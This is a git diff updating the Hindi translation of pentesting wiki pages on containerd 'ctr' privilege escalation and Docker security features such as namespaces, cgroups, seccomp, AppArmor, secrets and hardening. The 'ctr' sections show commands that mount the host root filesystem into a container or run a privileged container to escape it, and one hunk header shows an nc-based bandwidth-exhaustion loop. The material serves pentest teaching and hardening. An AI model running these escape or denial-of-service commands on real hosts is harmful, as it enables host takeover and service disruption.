escaping-from-limited-bash.md {{#endref}} ### Cisco - vmanage + {{#ref}} cisco-vmanage.md {{#endref}} @@ -1426,9 +1439,11 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) + ## Android रूटिंग ढांचे: प्रबंधक-चैनल दुरुपयोग -Android रूटिंग ढांचे आमतौर पर एक syscall को हुक करते हैं ताकि उपयोगकर्ता स्थान प्रबंधक को विशेषाधिकार प्राप्त कर्नेल कार्यक्षमता का प्रदर्शन किया जा सके। कमजोर प्रबंधक प्रमाणीकरण (जैसे, FD-क्रम पर आधारित हस्ताक्षर जांच या खराब पासवर्ड योजनाएँ) एक स्थानीय ऐप को प्रबंधक का अनुकरण करने और पहले से रूट किए गए उपकरणों पर रूट तक पहुंच बढ़ाने की अनुमति दे सकती हैं। यहाँ और अधिक जानें और शोषण विवरण: +Android रूटिंग ढांचे आमतौर पर एक syscall को हुक करते हैं ताकि उपयोगकर्ता स्थान प्रबंधक को विशेषाधिकार प्राप्त कर्नेल कार्यक्षमता को उजागर किया जा सके। कमजोर प्रबंधक प्रमाणीकरण (जैसे, FD-क्रम पर आधारित हस्ताक्षर जांच या खराब पासवर्ड योजनाएँ) एक स्थानीय ऐप को प्रबंधक का अनुकरण करने और पहले से रूट किए गए उपकरणों पर रूट तक पहुंच बढ़ाने की अनुमति दे सकती हैं। यहाँ अधिक जानें और शोषण विवरण: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 4199e8fa5..6c93219fb 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -4,7 +4,8 @@ ## Basic information -Go to the following link to learn **क्या है containerd** और `ctr`: +**containerd** और `ctr` के बारे में जानने के लिए निम्नलिखित लिंक पर जाएं: + {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,7 +13,7 @@ Go to the following link to learn **क्या है containerd** और `ctr ## PE 1 -अगर आप पाते हैं कि एक होस्ट में `ctr` कमांड है: +यदि आप पाते हैं कि एक होस्ट में `ctr` कमांड है: ```bash which ctr /usr/bin/ctr @@ -24,14 +25,14 @@ REF TYPE registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` -और फिर **उनमें से एक इमेज को चलाएं जिसमें होस्ट रूट फ़ोल्डर को माउंट किया गया हो**: +और फिर **उनमें से एक इमेज चलाएं जिसमें होस्ट रूट फ़ोल्डर को माउंट किया गया हो**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` ## PE 2 एक कंटेनर को विशेषाधिकार प्राप्त करके चलाएँ और इससे बाहर निकलें।\ -आप एक विशेषाधिकार प्राप्त कंटेनर को इस प्रकार चला सकते हैं: +आप विशेषाधिकार प्राप्त कंटेनर को इस प्रकार चला सकते हैं: ```bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index b2ace792d..3843d927a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -10,14 +10,14 @@ ### Docker इंजन तक सुरक्षित पहुंच -Docker इंजन को या तो स्थानीय रूप से Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है। +Docker इंजन को या तो स्थानीय रूप से Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता, और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है। -Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। Ubuntu सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें: +Docker इंजन, डिफ़ॉल्ट रूप से, Unix सॉकेट पर `unix:///var/run/docker.sock` पर सुनता है। Ubuntu सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` -हालांकि, HTTP के माध्यम से Docker डेमन को उजागर करना सुरक्षा चिंताओं के कारण अनुशंसित नहीं है। कनेक्शनों को HTTPS का उपयोग करके सुरक्षित करना उचित है। कनेक्शन को सुरक्षित करने के लिए दो मुख्य दृष्टिकोण हैं: +हालांकि, HTTP के माध्यम से Docker डेमन को उजागर करना सुरक्षा चिंताओं के कारण अनुशंसित नहीं है। HTTPS का उपयोग करके कनेक्शनों को सुरक्षित करना उचित है। कनेक्शन को सुरक्षित करने के लिए दो मुख्य दृष्टिकोण हैं: 1. क्लाइंट सर्वर की पहचान की पुष्टि करता है। 2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी प्रमाणीकरण करते हैं। @@ -34,7 +34,7 @@ sudo service docker restart ### छवि स्कैनिंग -कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के भंडार से करता है ताकि सुरक्षा छिद्रों की पहचान की जा सके। +कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के भंडार के साथ करता है ताकि सुरक्षा छिद्रों की पहचान की जा सके। अधिक [**जानकारी के लिए इसे पढ़ें**](https://docs.docker.com/engine/scan/)। @@ -70,19 +70,19 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` ### Docker Image Signing -Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेजों की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है: +Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेज की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है: - **Docker Content Trust** Notary प्रोजेक्ट का उपयोग करता है, जो The Update Framework (TUF) पर आधारित है, इमेज साइनिंग प्रबंधित करने के लिए। अधिक जानकारी के लिए, देखें [Notary](https://github.com/docker/notary) और [TUF](https://theupdateframework.github.io)। -- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद है। -- इस सुविधा को सक्षम करने के साथ, केवल साइन की गई इमेजों को डाउनलोड किया जा सकता है। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं। +- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद होती है। +- इस सुविधा को सक्षम करने के साथ, केवल साइन की गई इमेज डाउनलोड की जा सकती हैं। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं। - कंटेंट ट्रस्ट सक्षम होने पर एक असाइन की गई इमेज को खींचने का प्रयास करने पर "No trust data for latest" त्रुटि होती है। -- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी के पासफ़्रेज़ के लिए पूछता है। +- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी का पासफ़्रेज़ पूछता है। अपने निजी कुंजियों का बैकअप लेने के लिए, कमांड का उपयोग करें: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -जब डॉकर होस्ट को स्विच करते हैं, तो संचालन बनाए रखने के लिए रूट और रिपॉजिटरी कुंजियों को स्थानांतरित करना आवश्यक है। +जब Docker होस्ट को स्विच करते हैं, तो संचालन बनाए रखने के लिए रूट और रिपॉजिटरी कुंजियों को स्थानांतरित करना आवश्यक है। ## कंटेनरों की सुरक्षा विशेषताएँ @@ -96,19 +96,19 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **नेमस्पेस** -- **उद्देश्य**: प्रक्रियाओं, नेटवर्क और फ़ाइल सिस्टम जैसे संसाधनों का पृथक्करण सुनिश्चित करना। विशेष रूप से डॉकर में, नेमस्पेस एक कंटेनर की प्रक्रियाओं को होस्ट और अन्य कंटेनरों से अलग रखते हैं। -- **`unshare` का उपयोग**: `unshare` कमांड (या अंतर्निहित syscall) का उपयोग नए नेमस्पेस बनाने के लिए किया जाता है, जो पृथक्करण की एक अतिरिक्त परत प्रदान करता है। हालाँकि, जबकि कुबेरनेट्स स्वाभाविक रूप से इसे रोकता नहीं है, डॉकर ऐसा करता है। -- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए। +- **उद्देश्य**: प्रक्रियाओं, नेटवर्क और फ़ाइल सिस्टम जैसे संसाधनों का पृथक्करण सुनिश्चित करना। विशेष रूप से Docker में, नेमस्पेस एक कंटेनर की प्रक्रियाओं को होस्ट और अन्य कंटेनरों से अलग रखते हैं। +- **`unshare` का उपयोग**: `unshare` कमांड (या अंतर्निहित syscall) का उपयोग नए नेमस्पेस बनाने के लिए किया जाता है, जो पृथक्करण की एक अतिरिक्त परत प्रदान करता है। हालाँकि, जबकि Kubernetes स्वाभाविक रूप से इसे अवरुद्ध नहीं करता है, Docker ऐसा करता है। +- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट के नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए। **कंट्रोल ग्रुप्स (CGroups)** -- **कार्य**: मुख्य रूप से प्रक्रियाओं के बीच संसाधनों का आवंटन करने के लिए उपयोग किया जाता है। -- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए संभावित रूप से शोषित की जा सकती है। +- **कार्य**: मुख्य रूप से प्रक्रियाओं के बीच संसाधनों को आवंटित करने के लिए उपयोग किया जाता है। +- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए शोषित की जा सकती है। **क्षमता ड्रॉप** - **महत्व**: यह प्रक्रिया पृथक्करण के लिए एक महत्वपूर्ण सुरक्षा विशेषता है। -- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जा सकने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चल रही हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे। +- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जाने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चल रही हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे। ये हैं **बची हुई क्षमताएँ** जब प्रक्रिया ने अन्य को ड्रॉप किया: ``` @@ -116,7 +116,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ``` **Seccomp** -यह डॉकर में डिफ़ॉल्ट रूप से सक्षम है। यह **प्रक्रिया द्वारा कॉल किए जा सकने वाले syscalls को और अधिक सीमित करने में मदद करता है।**\ +यह डॉकर में डिफ़ॉल्ट रूप से सक्षम है। यह **syscalls को और अधिक सीमित करने में मदद करता है** जो प्रक्रिया कॉल कर सकती है।\ **डिफ़ॉल्ट डॉकर सेकॉम्प प्रोफ़ाइल** [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) में पाई जा सकती है। **AppArmor** @@ -129,7 +129,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ### Namespaces -**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग संसाधनों के लिए होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं। +**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग संसाधनों की ओर होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं। डॉकर कंटेनर अलगाव प्राप्त करने के लिए निम्नलिखित लिनक्स कर्नेल namespaces का उपयोग करता है: @@ -139,7 +139,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca - ipc namespace - UTS namespace -**Namespaces के बारे में अधिक जानकारी के लिए** निम्नलिखित पृष्ठ देखें: +**namespaces के बारे में अधिक जानकारी** के लिए निम्नलिखित पृष्ठ देखें: + {{#ref}} namespaces/ @@ -147,8 +148,8 @@ namespaces/ ### cgroups -लिनक्स कर्नेल की विशेषता **cgroups** एक सेट के प्रक्रियाओं के बीच **cpu, memory, io, network bandwidth जैसे संसाधनों को प्रतिबंधित करने की क्षमता प्रदान करती है।** डॉकर cgroup विशेषता का उपयोग करके कंटेनर बनाने की अनुमति देता है जो विशेष कंटेनर के लिए संसाधन नियंत्रण की अनुमति देता है।\ -निम्नलिखित एक कंटेनर है जिसे उपयोगकर्ता स्थान मेमोरी 500m तक सीमित, कर्नेल मेमोरी 50m तक सीमित, cpu शेयर 512, blkioweight 400 तक सीमित किया गया है। CPU शेयर एक अनुपात है जो कंटेनर के CPU उपयोग को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 1024 है और यह 0 से 1024 के बीच होता है। यदि तीन कंटेनरों का CPU शेयर 1024 है, तो प्रत्येक कंटेनर CPU संसाधन विवाद की स्थिति में CPU का 33% तक ले सकता है। blkio-weight एक अनुपात है जो कंटेनर के IO को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 500 है और यह 10 से 1000 के बीच होता है। +लिनक्स कर्नेल की विशेषता **cgroups** एक सेट के प्रक्रियाओं के बीच **cpu, memory, io, network bandwidth जैसे संसाधनों को प्रतिबंधित करने की क्षमता प्रदान करती है।** डॉकर cgroup विशेषता का उपयोग करके कंटेनर बनाने की अनुमति देता है जो विशिष्ट कंटेनर के लिए संसाधन नियंत्रण की अनुमति देता है।\ +निम्नलिखित एक कंटेनर है जिसे उपयोगकर्ता स्थान मेमोरी 500m तक सीमित, कर्नेल मेमोरी 50m तक सीमित, cpu शेयर 512, blkioweight 400 तक सीमित किया गया है। CPU शेयर एक अनुपात है जो कंटेनर के CPU उपयोग को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 1024 है और यह 0 और 1024 के बीच होता है। यदि तीन कंटेनरों का CPU शेयर 1024 है, तो प्रत्येक कंटेनर CPU संसाधन विवाद के मामले में CPU का 33% तक ले सकता है। blkio-weight एक अनुपात है जो कंटेनर के IO को नियंत्रित करता है। इसका डिफ़ॉल्ट मान 500 है और यह 10 और 1000 के बीच होता है। ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -158,7 +159,8 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -अधिक जानकारी के लिए देखें: +For more information check: + {{#ref}} cgroups.md @@ -166,31 +168,34 @@ cgroups.md ### क्षमताएँ -क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक बारीक नियंत्रण** की अनुमति देती हैं। डॉकर लिनक्स कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले संचालन को सीमित किया जा सके**, चाहे उपयोगकर्ता का प्रकार कोई भी हो। +क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक बारीक नियंत्रण** की अनुमति देती हैं। Docker Linux कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले कार्यों को सीमित किया जा सके**, चाहे उपयोगकर्ता का प्रकार कोई भी हो। + +जब एक डॉकर कंटेनर चलाया जाता है, तो **प्रक्रिया संवेदनशील क्षमताओं को छोड़ देती है जिनका उपयोग प्रक्रिया अलगाव से भागने के लिए कर सकती थी**। यह सुनिश्चित करने का प्रयास करता है कि प्रक्रिया संवेदनशील क्रियाएँ करने और भागने में सक्षम न हो: -जब एक डॉकर कंटेनर चलाया जाता है, तो **प्रक्रिया संवेदनशील क्षमताओं को छोड़ देती है जिनका उपयोग प्रक्रिया अलगाव से बचने के लिए कर सकती है**। यह सुनिश्चित करने का प्रयास करता है कि प्रक्रिया संवेदनशील क्रियाएँ करने और बचने में सक्षम न हो: {{#ref}} ../linux-capabilities.md {{#endref}} -### डॉकर में Seccomp +### Docker में Seccomp + +यह एक सुरक्षा विशेषता है जो Docker को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है: -यह एक सुरक्षा विशेषता है जो डॉकर को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है: {{#ref}} seccomp.md {{#endref}} -### डॉकर में AppArmor +### Docker में AppArmor + +**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के **सेट** में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है।: -**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के **एक सीमित** सेट में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है।: {{#ref}} apparmor.md {{#endref}} -### डॉकर में SELinux +### Docker में SELinux - **लेबलिंग सिस्टम**: SELinux हर प्रक्रिया और फ़ाइल सिस्टम ऑब्जेक्ट को एक अद्वितीय लेबल असाइन करता है। - **नीति प्रवर्तन**: यह सुरक्षा नीतियों को लागू करता है जो परिभाषित करती हैं कि एक प्रक्रिया लेबल अन्य लेबल पर क्या क्रियाएँ कर सकती है। @@ -198,7 +203,8 @@ apparmor.md - **कंटेनरों के भीतर फ़ाइल लेबलिंग**: कंटेनर के भीतर फ़ाइलें आमतौर पर `container_file_t` के रूप में लेबल की जाती हैं। - **नीति नियम**: SELinux नीति मुख्य रूप से यह सुनिश्चित करती है कि `container_t` लेबल वाली प्रक्रियाएँ केवल `container_file_t` के रूप में लेबल की गई फ़ाइलों के साथ इंटरैक्ट कर सकती हैं (पढ़ना, लिखना, निष्पादित करना)। -यह तंत्र सुनिश्चित करता है कि यदि कंटेनर के भीतर कोई प्रक्रिया समझौता कर ली जाती है, तो यह केवल संबंधित लेबल वाले ऑब्जेक्ट्स के साथ इंटरैक्ट करने तक सीमित रहती है, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सके। +यह तंत्र सुनिश्चित करता है कि यदि एक कंटेनर के भीतर एक प्रक्रिया से समझौता किया जाता है, तो यह केवल उन वस्तुओं के साथ इंटरैक्ट करने के लिए सीमित होती है जिनके पास संबंधित लेबल होते हैं, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सकता है। + {{#ref}} ../selinux.md @@ -206,12 +212,13 @@ apparmor.md ### AuthZ & AuthN -डॉकर में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि डॉकर डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है: +Docker में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है, यह तय करते हुए कि Docker डेमन पर अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है: - **प्रमाणीकरण संदर्भ**: इसमें उपयोगकर्ता के बारे में व्यापक जानकारी शामिल होती है, जैसे कि वे कौन हैं और उन्होंने स्वयं को कैसे प्रमाणित किया है। - **कमांड संदर्भ**: इसमें किए जा रहे अनुरोध से संबंधित सभी प्रासंगिक डेटा शामिल होता है। -ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे डॉकर संचालन की सुरक्षा बढ़ती है। +ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे Docker संचालन की सुरक्षा बढ़ती है। + {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -237,7 +244,8 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; ### --privileged फ्लैग -अगली पृष्ठ पर आप **`--privileged` फ्लैग का क्या अर्थ है** जान सकते हैं: +इस पृष्ठ में आप सीख सकते हैं **`--privileged` फ्लैग का क्या अर्थ है**: + {{#ref}} docker-privileged.md @@ -247,7 +255,7 @@ docker-privileged.md #### no-new-privileges -यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल हो जाता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है। +यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक कम विशेषाधिकार वाले उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल हो जाता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है। **`no-new-privileges`** विकल्प के साथ कंटेनर चलाने से **इस प्रकार के विशेषाधिकार वृद्धि को रोका जा सकेगा**। ``` @@ -276,17 +284,17 @@ For more **`--security-opt`** options check: [https://docs.docker.com/engine/ref यह महत्वपूर्ण है कि रहस्यों को सीधे Docker छवियों में या पर्यावरण चर का उपयोग करके एम्बेड करने से बचें, क्योंकि ये तरीके आपकी संवेदनशील जानकारी को किसी भी व्यक्ति के लिए उजागर करते हैं जो `docker inspect` या `exec` जैसे कमांड के माध्यम से कंटेनर तक पहुँच रखता है। -**Docker वॉल्यूम** एक सुरक्षित विकल्प हैं, जिन्हें संवेदनशील जानकारी तक पहुँचने के लिए अनुशंसित किया जाता है। इन्हें अस्थायी फ़ाइल सिस्टम के रूप में मेमोरी में उपयोग किया जा सकता है, जो `docker inspect` और लॉगिंग से संबंधित जोखिमों को कम करता है। हालाँकि, रूट उपयोगकर्ता और जिनके पास कंटेनर तक `exec` पहुँच है, वे अभी भी रहस्यों तक पहुँच सकते हैं। +**Docker वॉल्यूम** एक सुरक्षित विकल्प हैं, जिन्हें संवेदनशील जानकारी तक पहुँचने के लिए अनुशंसित किया जाता है। इन्हें अस्थायी फ़ाइल प्रणाली के रूप में मेमोरी में उपयोग किया जा सकता है, जो `docker inspect` और लॉगिंग से संबंधित जोखिमों को कम करता है। हालाँकि, रूट उपयोगकर्ता और जिनके पास कंटेनर तक `exec` पहुँच है, वे अभी भी रहस्यों तक पहुँच सकते हैं। -**Docker रहस्य** संवेदनशील जानकारी को संभालने के लिए एक और अधिक सुरक्षित विधि प्रदान करते हैं। उन उदाहरणों के लिए जिनमें छवि निर्माण चरण के दौरान रहस्यों की आवश्यकता होती है, **BuildKit** एक कुशल समाधान प्रस्तुत करता है जो निर्माण समय के रहस्यों का समर्थन करता है, निर्माण गति को बढ़ाता है और अतिरिक्त सुविधाएँ प्रदान करता है। +**Docker रहस्य** संवेदनशील जानकारी को संभालने के लिए एक और अधिक सुरक्षित विधि प्रदान करते हैं। उन उदाहरणों के लिए जिन्हें छवि निर्माण चरण के दौरान रहस्यों की आवश्यकता होती है, **BuildKit** एक कुशल समाधान प्रस्तुत करता है जो निर्माण समय के रहस्यों का समर्थन करता है, निर्माण गति को बढ़ाता है और अतिरिक्त सुविधाएँ प्रदान करता है। BuildKit का लाभ उठाने के लिए, इसे तीन तरीकों से सक्रिय किया जा सकता है: 1. एक पर्यावरण चर के माध्यम से: `export DOCKER_BUILDKIT=1` 2. कमांड को पूर्ववर्ती करके: `DOCKER_BUILDKIT=1 docker build .` -3. Docker कॉन्फ़िगरेशन में इसे डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें। +3. Docker कॉन्फ़िगरेशन में इसे डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker को पुनः प्रारंभ करें। -BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कि: +BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कमांड का उपयोग करते हुए: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -327,11 +335,11 @@ https://katacontainers.io/ - **`--privileged` ध्वज का उपयोग न करें या** [**Docker सॉकेट को कंटेनर के अंदर माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण 